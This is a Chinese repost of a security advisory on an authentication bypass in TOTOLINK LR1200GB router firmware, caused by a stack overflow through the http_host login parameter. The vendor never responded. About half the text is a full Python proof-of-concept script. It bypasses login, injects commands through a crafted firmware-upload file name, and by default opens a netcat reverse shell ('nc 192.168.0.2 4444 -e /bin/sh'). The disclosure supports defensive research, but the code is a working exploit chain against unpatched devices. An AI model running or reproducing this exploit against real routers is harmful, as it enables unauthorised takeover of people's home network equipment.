概括
由于 Web 界面中的堆栈溢出漏洞,TOTOLINK LR1200GB 中的漏洞允许未经身份验证的远程攻击者通过身份验证。产品中的其他后验证漏洞允许命令注入及其以提升的权限执行 - 从而允许设备受到损害 - 这些未在下面的分析中显示,但它们包含在 PoC 中。
一位从事 SSD Secure Disclosure 工作的独立安全研究员。
供应商回应
向供应商发送的多封电子邮件均未得到答复,我们正在发布此信息,但无法从供应商处获得补丁或回复。
受影响的版本
TOTOLINK LR1200GB固件V9.3.5u.6698_B20230810
TOTOLINK LR1200GB固件V9.1.0u.6619_B20230130
技术分析
loginAuth实现中的函数处理cstecgi.cgi身份验证过程,解析传入请求中的username、password、verify、flag、 和 等参数。topicurl该topicurl参数确定要访问的预期功能,在本例中,它保存值loginAuth。
在检查源代码后,http_host发现了一个附加参数,即 ,如所提供的屏幕截图所示。该参数在源代码中使用,为身份验证机制添加了额外的一层。
如上图所示,loginAuth位于地址处的函数0x42dfe8包含一个附加参数,即http_host。经过仔细检查,第 96 行和第 98 行显示该过程涉及使用该strcpy函数将实际用户名和密码复制到堆栈中。
如上图所示,代码检查是否http_host包含 null。如果不是,则在不进行适当检查的情况下将其复制到本地堆栈。这使得http_host很容易发生缓冲区溢出。另一个重要的观察结果是,http_host 值在堆栈中存储的位置高于用户名和密码,这为我们提供了溢出并用我们控制的值覆盖合法用户名和密码的机会。
从上图可以看出,真正的用户名和密码存储在堆栈中,其中0x7fc63a20代表用户名,0x7fc63a44代表密码。让我们继续使用扩展的 访问登录 API http_host,旨在使用所有字符覆盖真实的用户名和密码,A而不更改
返回地址并导致堆栈损坏。
从上面可以看出,用户名和密码都已成功被“A”覆盖。值得注意的是,现在的用户名是“A”x 48,密码是“A”x 12。因此,我们可以利用密码“A”x 12 来实现login bypass.
注意:鉴于身份验证机制不会验证用户名,尝试使用“A”这样的小用户名和“A”x
12 的密码来绕过登录是不可行的。这是因为,在代码中的某个时刻,整个用户名被复制到堆中,即我们以前的用户名现在所在的位置。然而,由于该漏洞导致用户名大小增加,从而导致堆内内存损坏。因此,当尝试释放这个损坏的内存块时,程序会崩溃。为了解决这个问题,我们可以使用大于或等于覆盖用户名的用户名长度。在这种情况下,覆盖的用户名是“A”x 48,因此我们可以给用户名大于或等于它。
以下是针对漏洞利用和正常行为的示例请求和响应:
所演示的漏洞有效地绕过了身份验证机制,如上所示。我们甚至可以利用此漏洞更改返回地址,并可能导致远程代码执行。
概念验证
#!/usr/bin/python3
import json
import argparse
import sys
import requests
from colorama import Fore, Style
URL = "http://192.168.0.1/cgi-bin/cstecgi.cgi"
def login_bypass():
login_bypass_payload = {
"username": username,
"password": password,
"http_host": host,
"verify": 0,
"flag": 0,
"topicurl": "loginAuth",
}
response = requests.post(URL, json=login_bypass_payload, timeout=1)
try:
token = json.loads(response.text).get("token")
if token:
print(f"{Fore.BLUE}{Style.BRIGHT}[*]{Style.RESET_ALL} Token: {token}")
return token
else:
print(
f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} Not able to get the token"
)
sys.exit(0)
except json.JSONDecodeError as e:
print(
f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} Not able to decode the json"
)
sys.exit(0)
def upload_firmware_file_rce():
print(f"{Fore.BLUE}{Style.BRIGHT}[*]{Style.RESET_ALL} Executing command: {cmd}")
filename = "File File;" + cmd + "; ls -al >"
payload = {
"FileName": filename,
"FullName": "File",
"ContentLength": "10000",
"topicurl": "UploadFirmwareFile",
"token": login_bypass(),
}
requests.post(URL, json=payload, timeout=1)
def set_upload_setting_rce():
print(f"{Fore.BLUE}{Style.BRIGHT}[*]{Style.RESET_ALL} Executing command: {cmd}")
filename = "File File;" + cmd + "; ls -al >"
payload = {
"FileName": filename,
"FullName": "File",
"ContentLength": "10000",
"topicurl": "setUploadSetting",
"token": login_bypass(),
}
requests.post(URL, json=payload, timeout=1)
def main():
parser = argparse.ArgumentParser(
description="Command-line tool for a hypothetical application."
)
parser.add_argument(
"-u", "--username", type=str, help="Username for authentication", required=False
)
parser.add_argument(
"-p", "--password", type=str, help="Password for authentication", required=False
)
parser.add_argument(
"-e",
"--exploit",
type=str,
help="arguments can be login_bypass, set_upload_setting_rce, upload_firmware_file_rce",
required=True,
)
parser.add_argument("-t", "--host", type=str, help="Host address", required=False)
parser.add_argument(
"-c", "--cmd", type=str, help="Command to execute", required=False
)
args = parser.parse_args()
global username, password, host, cmd
username = args.username if args.username else "A" * 50
password = args.password if args.password else "A" * 12
host = args.host if args.host else "A" * 304
cmd = args.cmd if args.cmd else "nc 192.168.0.2 4444 -e /bin/sh"
exploit = globals().get(args.exploit)
if exploit and callable(exploit):
exploit()
else:
print(
f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} Given exploit doesn't exist"
)
if __name__ == "__main__":
main()
原文地址:
https://ssd-disclosure.com/ssd-advisory-totolink-lr1200gb-auth-bypass/
原文始发于微信公众号(Ots安全):TOTOLINK LR1200GB 身份验证绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论